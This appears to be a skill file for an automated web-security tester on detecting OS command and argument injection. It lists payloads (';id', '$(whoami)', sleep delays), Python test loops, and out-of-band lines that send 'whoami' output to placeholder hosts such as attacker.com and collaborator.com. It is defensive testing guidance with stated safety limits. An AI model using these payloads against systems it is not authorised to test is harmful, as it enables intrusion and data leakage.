Command Injection Testing Skill

Purpose

Validate command injection vulnerabilities by injecting shell metacharacters and OS commands into user-controlled inputs and observing: - Direct output of command execution in response - Time-based delays indicating blind command execution - Out-of-band callbacks (DNS/HTTP) confirming execution - Error messages revealing command parsing - File system changes from injected commands

Vulnerability Types Covered

1. Direct OS Command Injection (CWE-78)

Inject commands that execute and return output in the response.

Detection Methods: - Inject ; id or | whoami and observe command output - Inject & dir (Windows) and observe directory listing - Look for shell command results in response body

Example Payloads:

; id
| whoami
`id`
$(whoami)
& dir
| type C:\windows\win.ini

2. Blind Command Injection - Time-Based (CWE-78)

Inject time-delay commands when output is not reflected.

Detection Methods: - Inject ; sleep 5 and measure response delay - Inject | ping -c 5 127.0.0.1 and measure delay - Inject & timeout /t 5 (Windows) and measure delay

Example Payloads:

; sleep 5
| sleep 5
`sleep 5`
$(sleep 5)
& ping -c 5 127.0.0.1
& timeout /t 5      (Windows)
| ping -n 5 127.0.0.1   (Windows)

3. Blind Command Injection - Out-of-Band (CWE-78)

Confirm execution via external DNS/HTTP callbacks.

Detection Methods: - Inject ; curl http://attacker.com/callback - Inject ; nslookup attacker.com - Inject | wget http://attacker.com/?data=$(whoami) - Monitor callback server for requests

Example Payloads:

; curl http://collaborator.com/
; nslookup collaborator.com
; wget http://collaborator.com/?d=$(whoami)
| ping collaborator.com
$(curl http://collaborator.com/$(whoami))

4. Argument Injection (CWE-88)

Inject additional arguments to existing commands.

Detection Methods: - Inject --help or -v to trigger help/version output - Inject --output=/tmp/test to write files - Inject arguments that modify command behavior

Example Payloads:

--help
--version
-v
--output=/tmp/test
-o /tmp/test

5. Command Injection via Different Contexts

Shell Metacharacters: | Character | Unix/Linux | Windows | Description | |-----------|------------|---------|-------------| | ; | ✓ | ✗ | Command separator | | | | ✓ | ✓ | Pipe | | || | ✓ | ✓ | OR - execute if previous fails | | & | ✓ | ✓ | Background (Unix) / Separator (Win) | | && | ✓ | ✓ | AND - execute if previous succeeds | | ` | ✓ | ✗ | Command substitution (backticks) | | $() | ✓ | ✗ | Command substitution | | > | ✓ | ✓ | Redirect output | | < | ✓ | ✓ | Redirect input | | \n | ✓ | ✗ | Newline (command separator) |

Platform-Specific Notes

Prerequisites

• Target application that executes OS commands with user input
• Identified injection points (parameters, headers, file uploads, filenames)
• For blind testing: controlled callback server (collaborator domain)
• VULNERABILITIES.json with suspected command injection findings if provided

Testing Methodology

Phase 1: Identify Injection Points

Common injection vectors: - URL parameters passed to system commands - File upload filenames (often passed to file utilities) - User-Agent/Referer headers (sometimes logged via shell) - PDF generators, image processors, file converters - Network utilities (ping, traceroute, nslookup forms) - Git/SVN operations, backup tools - Email functionality (often uses sendmail)

Phase 2: Establish Baseline

• Send normal request; record response content, status, and timing
• Note any error messages or command-related output
• Identify target OS from response headers, errors, or behavior

Phase 3: Execute Command Injection Tests

Direct Command Injection:

payloads = ["; id", "| whoami", "`id`", "$(whoami)"]
for payload in payloads:
    resp = get(f"/ping?host=127.0.0.1{payload}")
    if "uid=" in resp.text or "root" in resp.text:
        status = "VALIDATED"

Time-Based Blind Command Injection:

baseline_time = measure_response("/ping?host=127.0.0.1")
payloads = ["; sleep 5", "| sleep 5", "`sleep 5`", "$(sleep 5)"]

for payload in payloads:
    start = time.time()
    resp = get(f"/ping?host=127.0.0.1{payload}")
    elapsed = time.time() - start

    if elapsed > baseline_time + 4.5:
        status = "VALIDATED"

Out-of-Band Command Injection:

callback = "unique-id.collaborator.com"
payloads = [
    f"; nslookup {callback}",
    f"| curl http://{callback}/",
    f"`nslookup {callback}`",
]

for payload in payloads:
    post("/convert", data={"filename": f"test.pdf{payload}"})

if collaborator_received_dns_or_http():
    status = "VALIDATED"

Windows-Specific Testing:

payloads = [
    "& dir",
    "| type C:\\windows\\win.ini",
    "& timeout /t 5",
    "| ping -n 5 127.0.0.1",
]

Phase 4: Classification Logic

Validation Criteria: - Command output (e.g., uid=, root:, directory listings) appears in response - Response time increases by expected delay duration (±0.5s tolerance) - DNS/HTTP callback received from target server - Error messages reveal shell command syntax

Phase 5: Capture Evidence

Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response): - status, injection_type, cwe - Baseline request (url, method, status, response_time) - Test request (url, method, status, response_time, payload) - Command output snippet or callback details - Platform detected (Linux/Windows)

Phase 6: Safety Rules

• Detection-only payloads; use benign commands (id, whoami, hostname, sleep)
• NEVER use destructive commands (rm, del, format, shutdown)
• NEVER exfiltrate sensitive data; use callbacks only to confirm execution
• Prefer time-based over OOB when possible (less network impact)
• Use minimal sleep durations (5 seconds max)
• Stop immediately if unexpected behavior or server impact detected

Output Guidelines

• Keep responses concise (1-4 sentences)
• Include endpoint, payload, detection method, and impact

Validated examples:

Direct command injection on /ping - ; id payload returned uid=33(www-data) (CWE-78). Full RCE possible.
Blind command injection on /convert - sleep 5 caused 5.2s delay (CWE-78). Time-based blind confirmed.
OOB command injection on /export - nslookup callback received (CWE-78). Command execution confirmed.
Argument injection on /backup - --help revealed rsync options (CWE-88). Command behavior modifiable.

Unvalidated example:

Command injection test incomplete on /api/exec - all metacharacters appear escaped. Evidence: path/to/evidence.json

CWE Mapping

Primary CWEs (DAST-testable): - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - This is THE designated CWE for OS command injection - Alternate terms: Shell injection, Shell metacharacters, OS Command Injection - High likelihood of exploit per MITRE

• CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
• Parent class covering command injection in general

• Includes non-OS command contexts (e.g., mail commands, LDAP)

• CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

• Injecting arguments to existing commands
• CanAlsoBe relationship with CWE-78

Parent/Related CWEs (context): - CWE-74: Improper Neutralization of Special Elements in Output ('Injection') — grandparent class - CWE-20: Improper Input Validation — related root cause - CWE-116: Improper Encoding or Escaping of Output — related mitigation failure

Related Attack Patterns: - CAPEC-88: OS Command Injection - CAPEC-15: Command Delimiters - CAPEC-6: Argument Injection - CAPEC-108: Command Line Execution through SQL Injection (chained)

OWASP Classification: - OWASP Top Ten 2021: A03 - Injection

Notable CVEs (examples)

• CVE-2024-46256 (Nginx Proxy Manager): Command injection via Let's Encrypt certificate feature (CVSS 9.8).
• CVE-2024-3400 (Palo Alto PAN-OS): Pre-auth command injection in GlobalProtect leading to RCE.
• CVE-2023-1389 (TP-Link Archer AX21): Command injection via web management interface, widely exploited.
• CVE-2023-46747 (F5 BIG-IP): Authentication bypass + command injection leading to RCE.
• CVE-2022-42475 (FortiOS): Heap overflow with command injection in SSL-VPN.
• CVE-2021-22205 (GitLab): Command injection via image processing (ExifTool).
• CVE-2021-44228 (Log4Shell): While JNDI injection, enables command execution via LDAP.
• CVE-2019-19781 (Citrix ADC): Path traversal + command injection leading to RCE.

Safety Reminders

• ONLY test against user-approved targets; stop if production protections trigger
• Use benign, non-destructive commands only (id, whoami, hostname, sleep, ping)
• NEVER use rm, del, format, shutdown, or any destructive command
• OOB callbacks only to domains you control
• Prefer time-based detection over command output when possible
• Use input validation, parameterization, and avoid shell execution in mitigations

Reference Implementations

• See reference/cmdi_payloads.py for command injection payloads by platform and detection type
• See reference/validate_cmdi.py for command injection validation flow
• See examples.md for concrete command injection scenarios and evidence formats

Additional Resources

• OWASP Command Injection
• PortSwigger OS Command Injection
• HackTricks Command Injection
• PayloadsAllTheThings Command Injection
• CISA Secure by Design - Eliminating OS Command Injection